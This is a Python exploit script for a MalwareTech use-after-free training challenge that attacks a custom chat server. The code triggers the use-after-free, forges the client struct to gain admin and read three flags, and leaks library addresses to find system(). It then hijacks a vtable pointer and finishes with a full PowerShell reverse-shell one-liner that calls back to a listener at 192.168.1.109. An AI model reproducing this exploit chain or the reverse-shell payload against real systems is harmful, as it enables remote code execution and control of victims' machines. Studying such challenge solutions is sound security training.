MalwareTech Use-After-Free challenge exploit (https://www.malwaretech.com/windows-exploit-challenges/user-after-free-1-0)

exploit.py

import threading

from pwn import *
from socket import *
import struct
from telnetlib import Telnet


class ChatClient:
    def __init__(self, server):
        self._server = server
        self._sock = socket(AF_INET, SOCK_STREAM, 0)

    def connect(self, username):
        self._sock.connect(self._server)
        print self.setname(username)

    def parse_command(self, response):
        cmd = response[:8].replace('\0', '')
        msg = response[12:]
        return cmd, msg

    def send_command(self, command, msg):
        packet = command.ljust(8, '\0')
        packet += struct.pack('<L', len(msg))
        packet += msg

        self._sock.send(packet)

    def send_command_withsize(self, command, msg, size):
        packet = command.ljust(8, '\0')
        packet += struct.pack('<L', size)
        packet += msg

        self._sock.send(packet)

    def setname(self, username):
        self.send_command('SETNAME', username)
        return self.parse_command(self._sock.recv(1024))

    def getname(self):
        self.send_command('GETNAME', '')
        return self.parse_command(self._sock.recv(1024))

    def isadmin(self):
        self.send_command('ISADMIN', '')
        return self.parse_command(self._sock.recv(1024))

    def getflag(self):
        self.send_command('GETFLAG', '')
        return self.parse_command(self._sock.recv(1024))

    def sendmsg(self, msg):
        self.send_command('SENDMSG', msg)

    def getmsg(self):
        while True:
            cmd, msg = self.parse_command(self._sock.recv(1024))
            if cmd == 'SENDMSG':
                print(msg)
            else:
                print("no SENDMSG: {}".format(msg))

    def close(self):
        self._sock.close()


if __name__ == '__main__':

    '''
    client_struct     struc ; (sizeof=0x18, align=0x4, mappedto_53)
    00000000 vtable          dd ?                    ; offset
    00000004 socket          dd ?
    00000008 client_index    dd ?
    0000000C is_admin        dd ?
    00000010 name_length     dd ?
    00000014 name            dd ?
    00000018 client_struct     ends
    '''

    username = 'A'*24 #raw_input("Enter your username: ")

    server = ('0.0.0.0', 1337)
    client = ChatClient(server)
    client.connect(username=username)

    # trigger UAF
    client.setname('A'*69)

    # new client we full control
    client2 = ChatClient(server)
    client2.connect(username='C'*36)

    client2_struct = client.getname()[1]

    ###############################
    ## GET FLAG 1
    ###############################
    # set admin word byte
    client2_struct = client2_struct[:0xc] + p32(1) + client2_struct[0x10:]
    client.setname(client2_struct)

    client2_struct = client.getname()[1]

    print("flag1: {}".format(client2.getflag()[1]))

    ###############################
    ## GET FLAG 2
    ###############################
    # client2->name = client0->name (client0 is the default admin user which is create when creating the server)
    client2_name = u32(client2_struct[0x14:])
    print("client2 name: {}".format(hex(client2_name)))
    client2_struct = client2_struct[:0x14] + p32(client2_name-(24*7)) # 24*7 because there are 24*7 bytes reserverd in the heap between the name0 and name2
    client.setname(client2_struct)

    client2_struct = client.getname()[1]
    print("flag2: {}".format(client2.getname()[1][:23]))
    # recover original name to avoid crashes..
    client2_struct = client2_struct[:0x14] + p32(client2_name)
    client.setname(client2_struct)

    ###############################
    ## GET FLAG 3
    ###############################
    # let's do client2->vtable->getflag = getflag2 (which is never called), so we can get de getflag2 flag
    # first, we set the name's pointer to vtable's pointer
    client2_struct = client2_struct[:0x14] + client2_struct[:0x4]
    client.setname(client2_struct)
    # now, we get the vtable with all the pointers
    #print(client2.getname())
    vtable_ptrs = client2.getname()[1]
    #print("vtable: {} // len: {}".format(vtable_ptrs, len(vtable_ptrs)))
    # recover the original name
    client2_struct = client2_struct[:0x14] + p32(client2_name)
    client.setname(client2_struct)
    # save vtable on name with replaced getflag
    vtable_ptrs = vtable_ptrs[:0x14] + vtable_ptrs[0x18:0x18+4] + vtable_ptrs[0x18:]
    client2.setname(vtable_ptrs)
    # do vtable = name ; 
    client2_struct = p32(client2_name) + client2_struct[0x4:0x14] + p32(client2_name)
    client.setname(client2_struct)
    # call getflag2
    print("flag3: {}".format(client2.getflag()[1]))


    ###############################
    ## Remote code execution
    ###############################
    # Working on Windows 7 Enterprise SP1 (32 bits)
    # offset may change depending on OS version..

    client_destructor = u32(vtable_ptrs[:0x4])
    print("Client::Destructor: {}".format(hex(client_destructor)))
    program_base = client_destructor - 0x1380
    print("Program Base: {}".format(hex(program_base)))

    # lets leak some function ptr in kernel32 to get the kernel32.dll base
    '''
    GET_LASTERROR_OFFSET = 0x5000
    getlasterror_iat = program_base + GET_LASTERROR_OFFSET
    client2_struct = client2_struct[:0x10] + p32(0x4) + p32(getlasterror_iat) # set name's size to 0x4 to read and write 4 bytes only !!
    client.setname(client2_struct)
    getlasterror_addr = u32(client2.getname()[1])
    print("GetLastError address: {}".format(hex(getlasterror_addr)))
    kernel32_base = getlasterror_addr - 0x4D000
    print("KERNEL32.dll base: {}".format(hex(kernel32_base)))
    WinExec_offset = 0x8F536
    WinExec_addr = kernel32_base + WinExec_offset
    print("WinExec address: {}".format(hex(WinExec_addr)))
    '''

    # lets leak some function ptr in ucrtbase to get the ucrtbase.dll base
    free_offset = 0x50B8
    free_iat = program_base + free_offset
    client2_struct = client2_struct[:0x10] + p32(0x4) + p32(free_iat) # set name's size to 0x4 to read and write 4 bytes only !!
    client.setname(client2_struct)
    free_addr = u32(client2.getname()[1])
    print("free address: {}".format(hex(free_addr)))
    ucrtbase_base = free_addr - 0x35CD0
    print("ucrtbase.dll base: {}".format(hex(ucrtbase_base)))
    system_addr = ucrtbase_base + 0xB9E60
    print("system address: {}".format(hex(system_addr)))

    # overwrite vtable pointer with system
    client.setname(p32(client2_name) + client2_struct[0x4:0x10] + p32(36) + p32(client2_name))
    #client2.setname(vtable_ptrs[:0x4] + p32(system_addr) + vtable_ptrs[0x8:]) # replace process msg function ptr
    #client2.setname(vtable_ptrs[:0x20] + p32(system_addr)) # replace is_admin function ptr
    #client2.setname(p32(system_addr) + vtable_ptrs[0x4:]) # replace destructor function ptr
    client2.setname(vtable_ptrs[:0xC] + p32(system_addr) + vtable_ptrs[0x10:]) # replace set_name function ptr
    #client.setname(p32(client2_name) + client2_struct[0x4:0x10] + ";calc.exe;1;") #p32(36) + p32(client2_name))
    # set_name receives as argument our new name string, so we can just execute the command from here :D

    raw_input("press enter to exploit..")

    # listen for reverse shell
    rev_shell = listen(3000)

    client2.send_command('SETNAME','''powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.109',3000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
''')

    rev_shell.sendline('whoami')
    rev_shell.interactive()


    #while True:
    #    msg = raw_input("")
    #    client.sendmsg(msg)